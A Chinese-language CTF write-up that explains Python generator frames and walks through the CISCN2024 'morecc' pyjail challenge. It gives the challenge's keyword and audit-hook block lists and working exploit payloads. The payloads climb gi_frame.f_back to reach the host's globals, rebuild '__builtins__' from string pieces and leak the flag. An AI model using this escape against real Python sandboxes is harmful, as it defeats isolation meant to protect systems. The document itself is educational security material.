基礎理論
什麼是生成器
生成器是python中的一種特殊的迭代器,在每次生成值以後會保留當前狀態,以便下次呼叫可以繼續生成值.
python中生成器透過yield關鍵詞進行定義,每次呼叫的時候返回一個值,並保持當前狀態的同時暫停函式的執行.當下一次呼叫生成器的時候,函式會從上次暫停的位置繼續執行,直到遇到另一個生成器或是遇到了函式的結束.
以下面的程式碼為例:
def f():
a=1
while True:
yield a
a+=1
f=f()
print(next(f)) #1
print(next(f)) #2
print(next(f)) #3
類似於列表推導式,我們也可以透過生成器表示式來方便的定義一個生成器,而不是寫一個顯式的函式.使用方法如下
a=(i+1 for i in range(100))
#next(a)
for value in a:
print(value)
生成器的屬性
gi_code
生成器對應的code物件.
gi_frame
生成器對應的棧幀(frame物件)
gi_running
生成器的函式是否正在執行
gi_yieldfrom
如果生成器正在從另一個生成器物件中 yield值,則為該生成器物件的引用,否則為None
其中最為重要的就是gi_frame物件,他指向生成器當攜程的棧幀物件,包含了區域性變數,全域性變數以及位元組碼指令資訊等.
在python中棧幀包含了以下的幾個重要屬性
f_locals
:一個字典,包含了函式或方法的區域性變數.鍵是變數名,值是變數的值.
f_globals
:一個字典,包含了函式或方法所在模組的全域性變數.鍵是全域性變數名,值是變數的值.
f_code
:一個程式碼物件(code object),包含了函式或方法的位元組碼指令、常量、變數名等資訊.
f_lasti
:整數,表示最後執行的位元組碼指令的索引.
f_back
:指向上一級呼叫棧幀的引用,用於構建呼叫棧.
利用棧幀沙箱逃逸
逃逸的核心就是利用f_back
返回到上一幀來獲取在當前棧中沒有的資料.
來看一個例子:
s3cret="this is flag"
codes='''
def waff():
def f():
yield g.gi_frame.f_back
g = f() #生成器
frame = next(g) #獲取到生成器的棧幀物件
b = frame.f_back.f_back.f_globals['s3cret'] #返回並獲取前一級棧幀的globals,其實f_locals也好使.
return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])
我們解讀一下上面的每次返回.frame被賦值為f的棧幀的上一幀,也就是waff的棧幀.frame在第一次回退的時候回退到了虛擬檔案test的棧幀.在python的compile函式中,第二個引數是用來指定編譯的程式碼的虛擬檔名的.frame在第二次回退的時候回退到了當前python檔案的棧幀中.此時可以透過f_globals
獲取全域性變數.使用f_locals
也可以達到同樣的效果,因為此時已經在<modules>中,所以全域性變數和區域性變數沒有區別.
例題
CISCN2024 初賽 morecc
給出了原始碼如下.
main.py
import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1
app = Flask(__name__)
runner = open("/app/runner.py", "r", encoding="UTF-8").read()#讀了另一個程式的程式碼
flag = open("/flag", "r", encoding="UTF-8").readline().strip()
@app.post("/run")
def run():
id = str(uuid1())
try:
data = request.json
open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
#上面做的工作實際是將flag檔案內容作為種子,同時使用隨機數替代runner.py中的內容,然後生成了一個新的檔案.本質上還是一種防禦手段
open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
#用於和使用者產生互動的對外介面
run = subprocess.run(
['python', f"/app/uploads/{id}.py"],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=3
)
result = run.stdout.decode("utf-8")
error = run.stderr.decode("utf-8")
print(result, error)
#執行程式
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": f"{result}\n{error}"
})#臨時檔案刪除
except:
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": "None"
})#錯誤處理
if __name__ == "__main__":
app.run("0.0.0.0", 5000)
runner.py
def source_simple_check(source):
"""
Check the source with pure string in string, prevent dangerous strings
:param source: source code
:return: None
"""
from sys import exit
from builtins import print
try:
source.encode("ascii")
except UnicodeEncodeError:
print("non-ascii is not permitted")
exit()
for i in ["__", "getattr", "exit"]:
if i in source.lower():
print(i)
exit()
#對pyjail中的大多數攻擊進行了防禦
def block_wrapper():
"""
Check the run process with sys.audithook, no dangerous operations should be conduct
:return: None
"""
def audit(event, args):
from builtins import str, print
import os
for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
os._exit(1)
return audit
#對命令執行的防禦
def source_opcode_checker(code):
"""
Check the source in the bytecode aspect, no methods and globals should be load
:param code: source code
:return: None
"""
from dis import dis
from builtins import str
from io import StringIO
from sys import exit
opcodeIO = StringIO()
dis(code, file=opcodeIO)
opcode = opcodeIO.getvalue().split("\n")
opcodeIO.close()
for line in opcode:
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
break
print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
exit()
#從opcode的層面進行防禦
if __name__ == "__main__":
from builtins import open
from sys import addaudithook
from contextlib import redirect_stdout
from random import randint, randrange, seed
from io import StringIO
from random import seed
from time import time
source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()#讀取使用者輸入的內容
source_simple_check(source)#一次防禦
source_opcode_checker(source)#二次防禦
code = compile(source, "<sandbox>", "exec")#編譯
addaudithook(block_wrapper())#三次防禦
outputIO = StringIO()
with redirect_stdout(outputIO):
seed(str(time()) + "THIS_IS_SEED" + str(time()))
exec(code, {
"__builtins__": None,#清空builtins,四次防禦
"randint": randint,
"randrange": randrange,
"seed": seed,
"print": print
}, None)
output = outputIO.getvalue()
if "THIS_IS_SEED" in output:
print("這 runtime 你就嘎嘎寫吧, 一寫一個不吱聲啊,點兒都沒攔住!")
print("bad code-operation why still happened ah?")
#五次防禦
else:
print(output)
註釋直接標在程式碼中了.
由於只是在<sandbox>
中執行的時候清空了builtins,因此我們想到了逃逸出沙箱讀flag
首先寫成了初步的exp
import requests
url = "http://192.168.111.129:5000/run"
payload='''def test():
def f():
yield g.gi_frame.f_back
g = f()
frame = [x for x in g][0]
b=frame.f_back.f_back.f_back.f_code.co_consts
print(b)
test()'''
rep=requests.post(url,json={"code":payload})
print(rep.text)
進行解讀:我們可以看到一共進行了四次回退,分別退到了<listcomp>
,test()
,<sandbox><module>
,<module>
,此時就回到了主程式的棧幀.然後透過f_code
獲得了主程式的程式碼.
co_consts
是一個常量列表,用於獲取一個程式碼物件中的所有的常量.那麼我們將其列印的時候就能夠得到作為常量被替換的flag
然而這個payload又有一個問題,就是THIS_IS_SEED
也是一個出現過的常量,那麼就也會出現在列表中,就會出現第五次防禦而不能被成功的打出.
修改後的程式碼如下:
import requests
url = "http://192.168.111.129:5000/run"
payload='''def test():
def f():
yield g.gi_frame.f_back
g = f()
frame = [x for x in g][0]
b=frame.f_back.f_back.f_back.f_globals["_"+"_buil"+"tins_"+"_"]
d=b.str
b=frame.f_back.f_back.f_back.f_code.co_consts
c=d(b)
for i in c:
print(i,end=" ")
test()'''
rep=requests.post(url,json={"code":payload})
print(rep.text)
我們在逃逸到了主程式後可以從中獲取builtins,進而獲取到str函式進行字串的拼接.在兩個字元之間拼接一個空格輸出即可不觸發防禦成功逃逸,得到flag.